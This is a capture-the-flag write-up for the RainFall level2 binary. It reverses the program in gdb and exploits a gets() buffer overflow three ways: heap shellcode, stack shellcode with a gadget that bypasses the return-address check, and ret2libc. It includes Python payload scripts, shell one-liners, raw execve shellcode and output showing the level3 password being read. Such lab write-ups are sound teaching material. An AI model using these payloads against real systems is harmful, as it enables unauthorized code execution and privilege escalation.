[CTF] Ret2Libc & Shellcode exploit (rainfall-lvl02)
Table of contents:
This executable is the 3rd one from the ISO file provided to us as a CTF challenge, for more context please visit here we retrieve the assembly code using gdb
level2@RainFall:~$ gdb ./level2
notes
0x080484d4 p
0x0804853f main
0x0804853f : main() : disassembly
<0> ➜ <+3> : prepare stack frame for main function
0x0804853f <+0>: push ebp
0x08048540 <+1>: mov ebp,esp
0x08048542 <+3>: and esp,0xfffffff0
<+6> : call the p function
0x08048545 <+6>: call 0x80484d4 <p>
<+11> ➜ <+12> : exit the MAIN FUNCTION
0x0804854a <+11>: leave
0x0804854b <+12>: ret
0x080484d4 : p() : disassembly
- notebook: (to convert
hex
todec
and assign variable names for better reading)
{
const returnAddress = ebp+4
char *buffer1[65 ~ 76-12] = ebp-76 // ~ebp-0x4c
char *returnAddress = ebp-12 = returnAddress // ~ebp-0xc
// 0x68 ... 104
// 0x4c ... 76
// 0xc ... 12
}
<0> ➜ <+3> : prepare stack frame for p function with size of 104
0x080484d4 <+0>: push ebp
0x080484d5 <+1>: mov ebp,esp
0x080484d7 <+3>: sub esp,104
0x080484da <+6>: mov eax,ds:0x8049860 // stdout
0x080484df <+11>: mov DWORD PTR [esp],eax
0x080484e2 <+14>: call 0x80483b0 <fflush@plt>
fflush(stdout)
0x080484e7 <+19>: lea eax,[buffer1]
0x080484ea <+22>: mov DWORD PTR [esp],eax
0x080484ed <+25>: call 0x80483c0 <gets@plt>
gets(buffer1)
0x080484f2 <+30>: mov eax,DWORD PTR [ebp+4 ~ addr of return]
0x080484f5 <+33>: mov DWORD PTR [returnAddress],eax
0x080484f8 <+36>: mov eax,DWORD PTR [returnAddress]
0x080484fb <+39>: and eax,0xb0000000
0x08048500 <+44>: cmp eax,0xb0000000
0x08048505 <+49>: jne 0x8048527 <p+83>
if(returnAddress && 0xb0000000 != 0xb0000000){
jump to <p+83>
}
0x08048507 <+51>: mov eax,0x8048620 // "(%p)\n"
0x0804850c <+56>: mov edx,DWORD PTR [returnAddress]
0x0804850f <+59>: mov DWORD PTR [esp+4],edx
0x08048513 <+63>: mov DWORD PTR [esp],eax
0x08048516 <+66>: call 0x80483a0 <printf@plt>
printf("(%p)\n", returnAddress)
0x0804851b <+71>: mov DWORD PTR [esp],1
0x08048522 <+78>: call 0x80483d0 <_exit@plt>
exit(1)
0x08048527 <+83>: lea eax,[buffer1]
0x0804852a <+86>: mov DWORD PTR [esp],eax
0x0804852d <+89>: call 0x80483f0 <puts@plt>
puts(buffer)
0x08048532 <+94>: lea eax,[buffer1]
0x08048535 <+97>: mov DWORD PTR [esp],eax
0x08048538 <+100>: call 0x80483e0 <strdup@plt>
strdup(buffer1)
0x0804853d <+105>: leave
0x0804853e <+106>: ret
return
Code Prediction
void p() {
char *buffer1[64];
char *returnAddress = __return_address__;
fflush(stdout);
gets(buffer1);
if(returnAddress & 0xb0000000 == 0xb0000000){
printf("(%p)\n", returnAddress);
exit(1);
}
puts(buffer);
strdup(buffer1);
return;
}
int main(int argc(ebp+0x8), char **argv(ebp+12)) {
p()
return ();
}
Stack Illustration
|-------------------| <----- HIGH ADDRESSE
| |
|-------------------| +12
| |
|-------------------| +8
| OLD_EIP | eip of main fubction
|-------------------| +4
| OLD_EBP | ebp of main function
|-------------------| <---EBP <---------------------------\
|and esp,0xfffffff0 | <--- stack alignement |
|-------------------| |
| MAIN_EIP | | main frame
|-------------------| |
| MAIN_EBP | |
|-------------------| +104 <-------------------------------
| | |
|-------------------| +100 |
| | |
|-------------------| +96 <-------+ |
| addr in ebp+4 | | returnAddress buffer |
|-------------------| +92 <-------+ |
| end of buffer1 | | |
|-------------------| +88 | |
| | | |
|-------------------| +84 | buffer1 (64 bytes) |
* | |
* | |
* | | p frame (104 bytes)
|-------------------| | |
| start of buffer1 | | |
|-------------------| +28 <------/ |
| | |
|-------------------| +24 |
| | |
|-------------------| +20 |
| | |
|-------------------| +16 |
| | |
|-------------------| +12 |
| | |
|-------------------| +8 |
| | |
|-------------------| +4 |
| | |
|-------------------| <---ESP low memory address---------/
Process of the Exploit
- the code apply the & operation with
0xb0000000
to prevent us from overwriting the EIP with a stack address which means we cant inject shellcode on stack with the normal way as we can see the program uses strdup , which means the Heap since strddup calls malloc, good we either can inject shellcode in the Heap or : inject shellcode in the stack but add a gadget address to bypass that check or : use theret2libc
exploit (call the system function with “/bin/sh”) and also add a gadget address to bypass the check
lets find the offset where the program fall into the buffer overflow 1- using online tool Buffer overflow pattern generator
- in gdb :
Starting program: /home/user/level2/level2 <<< "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A" Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A6Ac72Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A Program received signal SIGSEGV, Segmentation fault. Error while running hook_stop: No function contains program counter for selected frame. 0x37634136 in ?? () <=== offset : 80 (gdb)
2- manually
lets break point after the the gets call so we can see the stack after being filled with out input (AAAABBBBCCCCDDDDEEEE
)
- in gdb :
(gdb) disass p 0x080484d4 <+0>: push ebp 0x080484d5 <+1>: mov ebp,esp 0x080484d7 <+3>: sub esp,0x68 0x080484da <+6>: mov eax,ds:0x8049860 0x080484df <+11>: mov DWORD PTR [esp],eax 0x080484e2 <+14>: call 0x80483b0 <fflush@plt> 0x080484e7 <+19>: lea eax,[ebp-0x4c] 0x080484ea <+22>: mov DWORD PTR [esp],eax 0x080484ed <+25>: call 0x80483c0 <gets@plt> 0x080484f2 <+30>: mov eax,DWORD PTR [ebp+0x4] <-------- here (gdb) b * 0x080484f2 Breakpoint 4 at 0x80484f2 (gdb) run Starting program: /home/user/level2/level2 AAAABBBBCCCCDDDDEEEE Dump of assembler code for function p: 0x080484d4 <+0>: push ebp 0x080484d5 <+1>: mov ebp,esp 0x080484d7 <+3>: sub esp,0x68 0x080484da <+6>: mov eax,ds:0x8049860 0x080484df <+11>: mov DWORD PTR [esp],eax 0x080484e2 <+14>: call 0x80483b0 <fflush@plt> 0x080484e7 <+19>: lea eax,[ebp-0x4c] 0x080484ea <+22>: mov DWORD PTR [esp],eax 0x080484ed <+25>: call 0x80483c0 <gets@plt> => 0x080484f2 <+30>: mov eax,DWORD PTR [ebp+0x4] 0x080484f5 <+33>: mov DWORD PTR [ebp-0xc],eax * * * 0x0804853d <+105>: leave 0x0804853e <+106>: ret End of assembler dump. ------------------------- [FRAME] ------------------------- Stack level 0, frame at 0xbffff720: eip = 0x80484f2 in p; saved eip 0x804854a called by frame at 0xbffff730 Arglist at 0xbffff718, args: Locals at 0xbffff718, Previous frame's sp is 0xbffff720 Saved registers: ebp at 0xbffff718, eip at 0xbffff71c ----------------------------------------------------------- (gdb) x 0xbffff71c 0xbffff71c: 0x0804854a
so our EIP is at 0xbffff71c (108 bytes from the ESP) containing : 0x0804854a (which is main<+11> Leave instruction)
-
lets view our stack now:
the start of the our buffer wher the user input is taken its at 0x41414141 (AAAA) and we notice our eip away from it with 80 bytes(4 * 4 * 5)
-
lets fill again the our buffer with
A
80 timesLOOOOK AT THIS :
(gdb) x/30wx $esp 0xbffff6b0: 0xbffff6cc 0x00000000 0x00000000 0xb7e5ec73 0xbffff6c0: 0x080482b5 0xbffff7c4 0xbffff8ee 0x41414141 0xbffff6d0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff6e0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff6f0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff700: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff710: 0x41414141 0x41414141 0x41414141 0x08048500 0xbffff720: 0x08048550 0x00000000 (gdb)
it stoped exactly at our EIP address, now we have a clear answer that the offset of the buffer overflow is 80
good, but we cant use the normal shellcode injection which is payload = NOPSLIDE + SHELLCODE + ADDRESS TO NOPS (overwrite EIP with it) becus we have this check in the code:
if(returnAddress & 0xb0000000 == 0xb0000000){
printf("(%p)\n", returnAddress);
exit(1);
}
which is applied to EIP address starting with 0xb
and stack addresses all start with it,
so whenever its matched it will exit the program
- the solution its simple : in the offset we put a gadget address (address that will be used to skip that check that doesnt start with
0xb
) like the return address of main function or p function - the pprogramm also save our buffer into the Heap using strdup
- the Heap address start from 0x0804a000 (we can use it as return address since it doesnt start with 0xb)
Exploit using shellcode:
in the stack : NOPS + SHELLCODE + GADGET_ADDRESS + NOPS_ADDRESS in the Heap : SHELLCODE + NOPS + Heap_ADDRESS(return of strdup)
Exploit using Ret2Libc:
read about the ret2libc from the docs metioned bellow, PADDING + GADGET_ADDRESS + SYSTEM + EXIT + SHELL
- the padding is 80
- GADGET_ADDRESS : we can take the return address of main function 0x0804854b
- system : 0xb7e6b060
how to find it
(gdb) p system $7 = {<text variable, no debug info>} 0xb7e6b060 <system> (gdb)
- exit : 0xb7e5ebe0
how to find it
(gdb) p exit $8 = {<text variable, no debug info>} 0xb7e5ebe0 <exit> (gdb)
- shell : 0xb7f8cc58
how to find it
(gdb) find system, +9999999, "/bin/sh" 0xb7f8cc58 warning: Unable to access target memory at 0xb7fd3160, halting search. 1 pattern found. (gdb) x/s 0xb7f8cc58 0xb7f8cc58: "/bin/sh" (gdb)
- payload : NOPS * 80 + 0x0804854b + 0xb7e6b060 + 0xb7e5ebe0 + 0xb7f8cc58
Solution :
1:- use the shellcode exploit in the Heap
since the programm calls strdup which calls malloc that’s mean a Heap there baby :* which mean we can use the address of tha allocated Heap section to execute our shell code after we fill the buffer of 80 which mean we can write our adress after 80 character
level2@RainFall:~$ ltrace ./level2 <<< "AAAABBBBCCCC"
__libc_start_main(0x804853f, 1, 0xbffff7f4, 0x8048550, 0x80485c0 <unfinished ...>
fflush(0xb7fd1a20) = 0
gets(0xbffff6fc, 0, 0, 0xb7e5ec73, 0x80482b5) = 0xbffff6fc
puts("AAAABBBBCCCC"AAAABBBBCCCC
) = 13
strdup("AAAABBBBCCCC") = 0x0804a008
+++ exited (status 8) +++
level2@RainFall:~$
strdup returns 0x0804a008
HeapAdd = 0x0804a008 shell code + padding + HeapAddress = 84 ….21……………..59………………4………..= 84
- script that helps generate the exploit
import struct
shell_code = "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"
#80 cd c9 31 e3 89 6e 69 62 2f 68 73 2f 2f 68 52 99 58 0b 6a
padding = "A" * 59
HeapAddress = struct.pack("I", 0x0804a008) # convert the Heapr address to little indian format
print(shell_code + padding + HeapAddress)
inline : (python -c 'print("\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80" + "\x90" * 59 + "\x08\x04\xa0\x08"[::-1])'; cat -) | ./level2
-
terminal :
level2@RainFall:~$ (python -c 'print("\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80" + "\x90" * 59 + "\x08\x04\xa0\x08"[::-1])'; cat -) | ./level2 j X�Rh//shh/bin��1�̀������������������������������������������������������ whoami level3 pwd /home/user/level2 cat /home/user/level3/.pass 492deb0e7d14c4b5695173cca843c4384fe52d0857c2b0718e1a521a4d33ec02
2:- use the shellcode exploit in the Stack
python script
import struct
padding = "\x90" * 80
# padding = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT" # length 80
shellcode = "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"
skipAddre = struct.pack("I", 0x0804853e) # to bypass the return address check
EIP = struct.pack("I", 0xbffff71c + 60) # stack address but we move forward by x bytes to drop in nopslide nopslide
NOP = "\x90" * 100 # \x90 == nothing == nosplide :
# when program get redirected to this aread of nops it will sldie to the shell code
print(padding + skipAddre + EIP + NOP + shellcode)
inline : (python -c 'print("\x90" * 80 + "\x08\x04\x85\x3e"[::-1] + "\xbf\xff\xf7\x5c"[::-1] + "\x90" * 100+"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80")'; cat -) | ./level2
-
terminal :
level2@RainFall:~$ (python -c 'print("\x90" * 80 + "\x08\x04\x85\x3e"[::-1] + "\xbf\xff\xf7\x5c"[::-1] + "\x90" * 100+"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80")'; cat -) | ./level2 ����������������������������������������������������������������>������������>\�������������������������������������������������������������������������������������������������������j X�Rh//shh/bin��1�̀ whoami level3 cat /home/user/level3/.pass 492deb0e7d14c4b5695173cca843c4384fe52d0857c2b0718e1a521a4d33ec02
3:- use Ret2Libc exploit in the stack
python script
import struct
# p() return_adress = 0x0804853e
# main() return_adress = 0x0804854b
padding = "\x90" * 80
ret_adress = str(struct.pack("I", 0x0804853e)) #p() func ret addr
system = str(struct.pack("I", 0xb7e6b060))
returnAfterSystem = str(struct.pack("I", 0xb7e5ebe0)) # address of exit() function , system need it
bin_sh = str(struct.pack("I", 0xb7f8cc58)) # /bin/sh
payload = padding + ret_adress + system + returnAfterSystem + bin_sh
# 80 + 4 + 4 + 4 + 4
print(payload)
inline : (python -c 'print("\x90" * 80 + "\x08\x04\x85\x3e"[::-1] + "\xb7\xe6\xb0\x60"[::-1] + "\xb7\xe5\xeb\xe0"[::-1] + "\xb7\xf8\xcc\x58"[::-1])'; cat -) | ./level2
-
terminal :
level2@RainFall:~$ (python -c 'print("\x90" * 80 + "\x08\x04\x85\x3e"[::-1] + "\xb7\xe6\xb0\x60"[::-1] + "\xb7\xe5\xeb\xe0"[::-1] + "\xb7\xf8\xcc\x58"[::-1])'; cat -) | ./level2 ����������������������������������������������������������������>������������>`�����X��� pwd /home/user/level2 whoami level3 cat /home/user/level3/.pass 492deb0e7d14c4b5695173cca843c4384fe52d0857c2b0718e1a521a4d33ec02